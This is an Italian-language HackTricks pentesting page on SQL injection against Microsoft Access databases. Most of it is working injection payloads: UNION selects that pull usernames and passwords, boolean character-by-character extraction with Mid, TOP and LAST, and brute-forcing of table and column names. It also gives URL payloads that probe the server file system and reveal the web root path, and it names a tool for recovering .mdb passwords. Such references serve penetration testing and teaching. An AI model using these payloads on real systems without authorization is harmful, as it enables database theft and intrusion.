hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md
2024-02-10 13:03:23 +00:00

10 KiB

Iniezione SQL in MS Access

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Playground Online

Limitazioni del DB

Concatenazione di stringhe

La concatenazione di stringhe è possibile con i caratteri & (%26) e + (%2b).

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Commenti

Non ci sono commenti in MS Access, ma apparentemente è possibile rimuovere l'ultima parte di una query con un carattere NULL:

1' union select 1,2 from table%00

Se ciò non funziona, potresti sempre correggere la sintassi della query:

1' UNION SELECT 1,2 FROM table WHERE ''='

Query annidate

Non sono supportate.

LIMIT

L'operatore LIMIT non è implementato. Tuttavia, è possibile limitare i risultati della query SELECT alle prime N righe della tabella utilizzando l'operatore TOP. TOP accetta come argomento un numero intero, che rappresenta il numero di righe da restituire.

1' UNION SELECT TOP 3 attr FROM table%00

Proprio come TOP, puoi utilizzare LAST che otterrà le righe dalla fine.

Union Queries/Sub queries

In una SQLi, di solito vorrai eseguire in qualche modo una nuova query per estrarre informazioni da altre tabelle. MS Access richiede sempre che nelle subquery o query aggiuntive sia indicato un FROM.
Quindi, se vuoi eseguire una UNION SELECT o UNION ALL SELECT o un SELECT tra parentesi in una condizione, devi sempre indicare un FROM con un nome di tabella valido.
Pertanto, devi conoscere un nome di tabella valido.

-1' UNION SELECT username,password from users%00

Concatenazione di equals + Sottostringa

{% hint style="warning" %} Questo ti permetterà di estrarre i valori della tabella corrente senza dover conoscere il nome della tabella. {% endhint %}

MS Access permette una sintassi strana come '1'=2='3'='asd'=false. Come di consueto, l'iniezione SQL sarà all'interno di una clausola WHERE che possiamo sfruttare.

Immagina di avere un SQLi in un database MS Access e di sapere (o aver indovinato) che il nome di una colonna è username, ed è il campo che vuoi estrarre. Potresti controllare le diverse risposte dell'applicazione web quando viene utilizzata la tecnica di concatenazione di equals e potenzialmente estrarre il contenuto con un'iniezione booleana utilizzando la funzione Mid per ottenere sottostringhe.

'=(Mid(username,1,3)='adm')='

Se conosci il nome della tabella e della colonna da estrarre, puoi utilizzare una combinazione di Mid, LAST e TOP per rivelare tutte le informazioni tramite boolean SQLi:

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Feel free to check this in the online playground.

Forzare i nomi delle tabelle

Utilizzando la tecnica di concatenazione degli equals, è possibile forzare i nomi delle tabelle con qualcosa del genere:

'=(select+top+1+'lala'+from+<table_name>)='

Puoi anche utilizzare un metodo più tradizionale:

-1' AND (SELECT TOP 1 <table_name>)%00

Feel free to check this in the online playground.

Forzare i nomi delle colonne

Puoi forzare i nomi delle colonne correnti con il trucco dell'uguale concatenato con:

'=column_name='

Oppure con un group by:

-1' GROUP BY column_name%00

Oppure puoi eseguire un attacco di forza bruta sui nomi delle colonne di una tabella diversa con:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Dumping dei dati

Abbiamo già discusso della tecnica di concatenazione degli equals per il dumping dei dati dalle tabelle correnti e da altre tabelle. Ma ci sono anche altri modi:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

In poche parole, la query utilizza un'istruzione "if-then" per generare un "200 OK" in caso di successo o un "500 Internal Error" altrimenti. Sfruttando l'operatore TOP 10, è possibile selezionare i primi dieci risultati. L'utilizzo successivo di LAST consente di considerare solo la decima tupla. Su tale valore, utilizzando l'operatore MID, è possibile effettuare un semplice confronto tra caratteri. Cambiando correttamente l'indice di MID e TOP, è possibile estrarre il contenuto del campo "username" per tutte le righe.

Basato sul tempo

Controlla https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN

Altre funzioni interessanti

  • Mid('admin',1,1) ottiene una sottostringa dalla posizione 1 di lunghezza 1 (la posizione iniziale è 1)
  • LEN('1234') ottiene la lunghezza della stringa
  • ASC('A') ottiene il valore ASCII del carattere
  • CHR(65) ottiene la stringa dal valore ASCII
  • IIF(1=1,'a','b') se allora
  • COUNT(*) Conta il numero di elementi

Enumerazione delle tabelle

Da qui puoi vedere una query per ottenere i nomi delle tabelle:

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

Tuttavia, nota che è molto comune trovare SQL Injection in cui non hai accesso per leggere la tabella MSysObjects.

Accesso al file system

Percorso completo della directory radice del web

La conoscenza del percorso assoluto della directory radice del web può facilitare ulteriori attacchi. Se gli errori dell'applicazione non sono completamente nascosti, il percorso della directory può essere scoperto cercando di selezionare dati da un database inesistente.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access risponde con un messaggio di errore contenente il percorso completo della directory web.

Enumerazione dei file

Il seguente vettore di attacco può essere utilizzato per inferire l'esistenza di un file nel file system remoto. Se il file specificato esiste, MS Access genera un messaggio di errore che informa che il formato del database non è valido:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Un altro modo per enumerare i file consiste nel specificare un elemento database.tabella. Se il file specificato esiste, MS Access visualizza un messaggio di errore sul formato del database.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

Indovinare il nome del file .mdb

Il nome del file del database (.mdb) può essere inferito con la seguente query:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Dove name[i] è un nome di file .mdb e realTable è una tabella esistente nel database. Sebbene MS Access generi sempre un messaggio di errore, è possibile distinguere tra un nome di file non valido e un nome di file .mdb valido.

Cracker di password .mdb

Access PassView è un'utilità gratuita che può essere utilizzata per recuperare la password principale del database di Microsoft Access 95/97/2000/XP o Jet Database Engine 3.0/4.0.

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: